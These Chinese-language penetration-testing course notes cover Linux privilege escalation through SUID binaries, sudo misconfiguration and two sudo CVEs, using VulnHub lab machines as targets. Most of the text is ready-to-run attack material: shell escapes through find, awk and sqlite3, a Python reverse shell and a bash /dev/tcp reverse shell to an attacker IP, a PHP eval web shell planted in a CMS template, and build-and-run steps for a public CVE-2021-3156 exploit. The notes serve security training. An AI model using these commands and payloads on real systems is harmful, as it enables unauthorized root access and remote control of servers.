知识点
1、Web权限或普通用户到Linux-配置不当-判断&利用
2、Web权限或普通用户到Linux-配置不当-SUID&GUID
3、普通用户到Linux-配置不当-SUDO&CVE漏洞
章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移
基础点
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它
1、具体有哪些权限需要我们了解掌握的:
后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................
Linux提权
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
应用场景
获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权
综合检测脚本
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
SUID&SUDO介绍
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
通俗来讲就是当root用户赋予一个文件suid、sudo权限时,导致这个文件被调用的时候就会享有root权限
SUID&SUDO利用参考地址
一、演示案例-Linux系统提权-Web权限&普通用户权限-Suid
1、SUID&GUID-入门
SUID&GUID其实是一个东西
复现环境:https://www.vulnhub.com/entry/dc-1,292/
入口
检测脚本查找相关SUID、GUID权限
上传检测脚本到目标服务器上-LinEnum/PEASS-ng
PEASS-ng
LinEnum
手工命令查找相关SUID、GUID权限
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
利用find提权
/usr/bin/find . -exec '/bin/sh' \; /
2、SUID&GUID-进阶
SUID&GUID其实是一个东西
复现环境:https://www.vulnhub.com/entry/toppo-1,245/
入口
可以上传检测脚本或者手工命令查询
利用python提权
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
二、演示案例-Linux系统提权-普通用户权限-Sudo(cve)
1、SUDO-入门
复现环境:https://www.vulnhub.com/entry/toppo-1,245/
手工命令查找SUDO权限
cat /etc/sudoers
sudo -l
/usr/bin/awk 'BEGIN {system("/bin/sh")}'
2、SUDO-CVE-2019-14287 权限绕过漏洞
复现环境:https://www.vulnhub.com/entry/devguru-1,620/
信息收集
80,8585
http://192.168.139.150/.git/
http://192.168.139.150/adminer.php 数据库管理接口
http://192.168.139.150/backend/backend/auth 后台登录地址
http://192.168.139.150:8585/
http://192.168.139.150:8585/admin
git泄漏(利用点)
python GitHack.py http://192.168.139.150/.git/
访问管理(Web入口)
登录后台 模版 写入Shell
function onStart(){
//蚁剑连接
eval($_POST["pass"]);
}
找备份寻突破(升权)
/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹
bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"
利用sudo提权(cve-2019-14287)
sudo -l
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
完整流程
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => sudo版本提权。
3、SUDO-CVE(CVE-2021-3156) 提权漏洞
环境:kali2020
影响版本
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
查看当前sudo版本
sudo -V
判断漏洞是否存在
sudoedit -s / 报错存在
利用
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0